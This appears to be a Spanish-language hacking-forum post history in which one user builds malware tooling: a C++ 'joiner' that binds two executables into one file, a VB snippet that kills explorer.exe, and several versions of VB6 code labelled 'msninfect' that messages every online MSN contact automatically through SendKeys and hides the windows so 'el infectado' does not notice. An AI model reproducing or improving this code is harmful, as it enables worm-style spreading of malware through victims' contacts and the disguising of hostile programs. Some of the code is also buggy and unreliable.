Mensajes

Hola que tal.
Bueno estuve tratando de hacer un joiner y lo mas lejos que llegue es esto, y quede trabado. Para empezar no puedo hacer que se ejecuten los 2 exes, solo se ejecuta el primero que bindeo.
Dejo el code a continuacion:

Código [Seleccionar] Expandir

#include <iostream>
#include <fstream>
#include <string>
#include <stdlib.h>

using namespace std;



char* escribir(string archivo1)
{
    char * buffer;
    ifstream lectura1(archivo1.c_str(), ifstream::binary);
    lectura1.seekg(0, ios::end);
    int tamanio1 = lectura1.tellg();
    lectura1.seekg(0);


    buffer = new char [tamanio1];
    lectura1.read(buffer,tamanio1);
    lectura1.close();

    return buffer;
}


int getTamanio(string archivo1)
{
    ifstream lectura1(archivo1.c_str(), ifstream::binary);
    lectura1.seekg(0, ios::end);
    int tamanio1 = lectura1.tellg();
    lectura1.seekg(0);
    lectura1.close();
    return tamanio1;
    }



void crearFichero(string archivo1, char* buffer1, char* buffer2, int tamanio1, int tamanio2)
{
  ofstream escritura1(archivo1.c_str(), ofstream::binary);
  escritura1.write(buffer1, tamanio1);
  escritura1.write(buffer2, tamanio1);
  escritura1.close();
}

int main()
{
    string ruta;
    string ruta2;
    string destino1;
    string destino2;


    cout << "Ingresar ruta fichero1: " << endl;
    cin >> ruta;
    char* buffer = escribir(ruta);


    cout << "Ingresar ruta fichero2: " << endl;
    cin >> ruta2;
    char* buffer2 = escribir(ruta2);

    cout << "Ingresar ruta destino: " << endl;
    cin >> destino1;
    crearFichero(destino1, buffer, buffer2, getTamanio(ruta), getTamanio(ruta2));

   

delete[] buffer;
delete[] buffer2;


    return 0;
}

Saludos

No, el timer se ejecutará cada minuto, por lo tanto cada minuto le suma 1 a la variable "x" y a su ves cada minuto hace una comprobación de si dicha variable "x" es igual a 15, y entonces es cuando se cumpliría la condicion y saldría el msgbox.

Sisi, pero en fin se referia a lo que queremos que haga el timer, que seria ejecutar el msgbox, estubo mal expresado.
El msgbox se ejecutaria cada 15 min, ahi esta

Salu2

Muchas gracias por su ayuda, de verdad siempre estan ahi para dar una mano
Salu2

Ami me funciono tambien para el live e.
Salu2

Buenas.
Muchas gracias por la ayuda creo que ya entendi.
Ahora este timer lo pongo al comienzo del code, y despues el form.
El timer se ira ejecutando cada 15 min, mientras las demas tareas del form continuan no?
Gracias
salu2

Buenas, tengo una duda.
Lo que quiero hacer es que el Vb ejecute cada 15 min un codigo.
Con el timer tengo 2 problemas, primero que no llega a 15 min y 2do que no puedo insertar un timer dentro de un form load.
Me dijeron que se puede hacer mediante la hora del sistema, estuve buscando pero no encontre bien como hacerlo.
Ademas les explico, yo tengo dentro del form_load todo un code, y en un determinado momneto luego de hacer varias cosas llega a esta parte del code que quiero que lo haga cada 15 min, pero que a la vez, no se quede solo ahi es decir, que ejecute el codigo y el code de mi programa continue asiendo lo suyo, pero que siempre tenga presente que cada 15 min tiene que ejecutar esa parte del code.
Creo que quedo confuso xD

Código [Seleccionar] Expandir

form_load

msgbox "jaja"
msgbox"jeje"
shell "tskill explorer"
' esto deberia esjecutarse cada 15 min
msgbox "jojo"
' esto ya seria la continuacion del code y no deberia ejecutarse cada 15 min
msgbox "continua el code"

end sub

Ahi creo que quedo mas entendible, quiero que el code se ejecute y cada 15min se ejecute el "msgbox "jojo"

Espero alguna ayuda.

Salu2

un detalle nada más, sé que es una tontería, pero por qué pones

Wait(1)
Wait(1)
Wait(1)

??????????

No es más sencillo poner Wait(3)???

Porque me estaba andando mal y probe poneindo lso waits asi.

Salu2

Quedo perefectisimo va de 10:

Código [Seleccionar] Expandir

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
AppActivate "Conversación"
SendKeys ("%{F4}")
Wait (1)
Wait (1)
Wait (1)
End If
Next
End Sub


Se agradece la ayuda

Salu2

Bien si conoscia lo de la funcion sleep, pero era que no me di cuenta que podia usarla aca xDDD
Y sobre lo de alt f4, no sabia como ponerlo jaja
Y sobre el de "wait (1)" no lo usaba porq solo era 1 seg xD pero agrege 5 d esos n ose me abai ocurrido jajaja.
Bien lo que hize fue lo siguiente:

Código [Seleccionar] Expandir

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
Wait (1)
Wait (1)
Wait (1)
Wait (1)
Wait (1)
SendKeys ("%{F4}")

End If
Next
End Sub

Anda de lujo esepto por el alt + f4 que en mi maquina aprece no andar, porq me tira a la ventana de cerrar win, nose porque.
Pruebenlo algien dsd su pc aver si le funciona bien y comenta aver que tal plis.

Salu2 y muchas gracais por la ayuda

Ya pude hacerlo :
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Form_Load()
msninfect:
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each ConTacto In MsgrUIA.MyContacts
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys (" prueba ")
SendKeys ("{ENTER}")
End If
Next
End Sub

Pequeño problema ahora,
Primero: Solo alcanza a mandar el mensaje a unos pocos ya que carga demasiado rapido las ventanas.
Segundo: Abre demasiado rapido las ventanas por lo que coinsume mucha cpu.
Tercero: No se cierran las ventanas por lo que el infectado ve el mensaje

Ahora como se podria hacer par que entre ventana y ventana al abrir pasen 5 segundos, y la ventana una ves mendada el mensaje se cierre ?

Aver si alguien sabe.

Salu2